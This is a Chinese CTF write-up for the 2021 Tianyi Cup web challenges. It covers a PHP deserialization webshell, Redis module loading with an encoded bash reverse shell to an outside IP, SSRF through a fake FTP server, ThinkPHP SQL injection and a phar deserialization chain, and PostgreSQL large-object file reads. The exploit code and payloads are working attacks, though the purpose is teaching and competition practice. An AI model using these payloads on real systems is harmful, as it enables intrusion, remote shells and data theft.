0%

天翼杯 2021

记录一下

Jackson

红明谷原题:https://www.zhaoj.in/read-6859.html

esay_eval

题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

上面的正则匹配规则如下

image-20210925234105182

也就是说我们的想老套路改数字绕wakeup,会被拦截

第一种方法是用类名用小写字母绕,pop链,B __destruct-》a __call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class a{
function __construct(){
$this->code = $code;
}
}
class B{
function __construct(){
$this->a = $a;
}
}
$a = new a();
$a->code = 'eval($_POST[1]);';
$b = new B();
$b->a = $a;
echo serialize($b);

?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}直接连蚁剑,第二种方法是

根据:https://bugs.php.net/bug.php?id=81153

删掉最后一个 }或者在}}中间加一个;

1
?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";};}&1=phpinfo();

上去蚁剑之后发现权限低无法直接读根目录,但是/tmp目录可以上传文件

发现有redis的配置信息,并发现密码you_cannot_guess_it

image-20210923124658876

可以用蚁剑的插件连上去

image-20210923124549045

连上去可以直接在redis中执行命令,所以我们可以往/tmp目录可以传一个恶意的so文件,然后去模块加载这个so文件即可

在命令执行处执行加载我们的/tmp目录的so文件

1
module load /tmp/exp.so

然后直接命令执行即可

1
system.exec "cat /flag_bffc-d3ffcfdb00ef"

image-20210923164126214

官方解法

使用 file_put_contents通过 ftp伪协议进行转发攻击 redis

首先还是往/tmp先写一个so文件

1
http://8.134.37.86:23708/?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";};}&1=file_put_contents('/tmp/exp.so',file_get_contents('http://134.175.168.213/exp.so'));

然后在vps上创建python文件用来模拟ftp服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import socket  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9000))
s.listen(1)
conn, addr = s.accept()

conn.send(b'200 ok\n')
print(conn.recv(20))
conn.send(b'200 ok\n')
print(conn.recv(20))
conn.send(b'200 ok\n')
print(conn.recv(20))
conn.send(b'500 nope\n')
print(conn.recv(20))
conn.send(b'500 nope\n')
print(conn.recv(20))
conn.send(b'227 goto (127,0,0,1,0,6379)\n')
print(conn.recv(20))
conn.send(b'150 go\n')

conn.close()

然后写下要执行的命令,这里直接反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function command($cmd){
if (is_array($cmd)) {
$ret = "";
foreach($cmd as $c){
$ret.=command($c);
}
}else{
$ret = "";
$cmd_arr = explode(" ",$cmd);
$cont = count($cmd_arr);
$ret.= "*$cont\r\n";
foreach($cmd_arr as $v){
$ret.="$".strlen($v)."\r\n";
$ret.=$v."\r\n";
}
}
return $ret;
}
// $send = command(["auth you_cannot_guess_it","module load /tmp/exp.so",'system.exec /bin/bash${IFS}-c${IFS}whoami${IFS}>/tmp/whoami.txt']);
// echo urlencode($send);

$send = command(["auth you_cannot_guess_it","module load /tmp/exp.so",'system.exec echo${IFS}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4xNzUuMTY4LjIxMy8xMjM0IDA+JjE=|base64${IFS}-d|bash']);
echo urlencode($send);

启动vps上的恶意 ftp 服务器,然后在题目上传入

1
poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";};}&1=file_put_contents('ftp://134.175.168.213:9000/','上面脚本得到的值');

反弹shell后直接拿flag

image-20210926000952893

Web-ezTP

扫目录发现有robots.txt,直接下载www.zip,直接访问admin的上传

image-20210925123326269

1
2
3
4
5
6
7
8
$result = db('ctf_user')->where(['username' => $username])->select();
if($result){
if($password===$result[0]['password']){
\think\Session::set('user', 'admin');
return 'success';
}
else{
return'账号或密码错误';

这里直接用TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html

1
http://8.134.37.86:27055/public/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,2%23&password=2

然后很明显上传然后配合phar反序列化

www\application\admin\controller\Index.php

触发点在这里

1
2
3
public function listpic($dir){
$res=array();
if(is_dir($dir)){

TP3.2.3的链:https://www.anquanke.com/post/id/251318#h2-1

www\thinkphp\library\think\Process.php

image-20210925114531058

这里的close方法多了if的条件判断,导致我们无法使用$this->processPipes->close(),找到一个成员变量调用close的类

image-20210925115035107

所以我们现在只需要把原来给$this->processPipes的链接接入到$this->handler即可

这里贴下大师傅的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
private $processPipes;

private $status;

private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=(new Memcache(1));
}

}
namespace think;
class Model{

}
namespace think\model;
use think\Model;
class Merge extends Model{
public $a='1';
public function __construct()
{
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();

}
}

namespace think\model;
class Relation
{}
namespace think\db;
class Query{}

namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache(0));
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct($i)
{
if($i==0){
$this->handler = (new \think\cache\driver\Memcached(0));

}else{
$this->handler = (new \think\model\relation\HasMany);
}
}
}


namespace think\cache\driver;

class Memcached
{
protected $tag;
protected $options;
protected $handler;

public function __construct($i)
{
if($i==0){
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
}

class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
];
}
}

@unlink("phar.phar");
$phar = new \Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传phar文件,然后getshell

1
http://8.134.37.86:27055/public/admin/index/listpic?dir=phar:///var/www/html/public/static/img/person.jpg

image-20210925211925907

easy_pg

本题考察的是postgresql注入

image-20210927175504070

这里是没有回显,无法使用PG_READ_FILE报错回显读文件的函数

考察使用postgre largeobject特性进行读文件

如果使用常规的|| lo_import会因为报错而无论如何都无法将文件存进largeobct

这里使用 or xxx is null trick绕过

1
email="stud3nt@qq.com' or lo_import($$/flag$$,11110) is null --";

最后使用lo_get将结果读出

1
email="x' union select encode(lo_get(11110),$$escape$$),NULL --+#";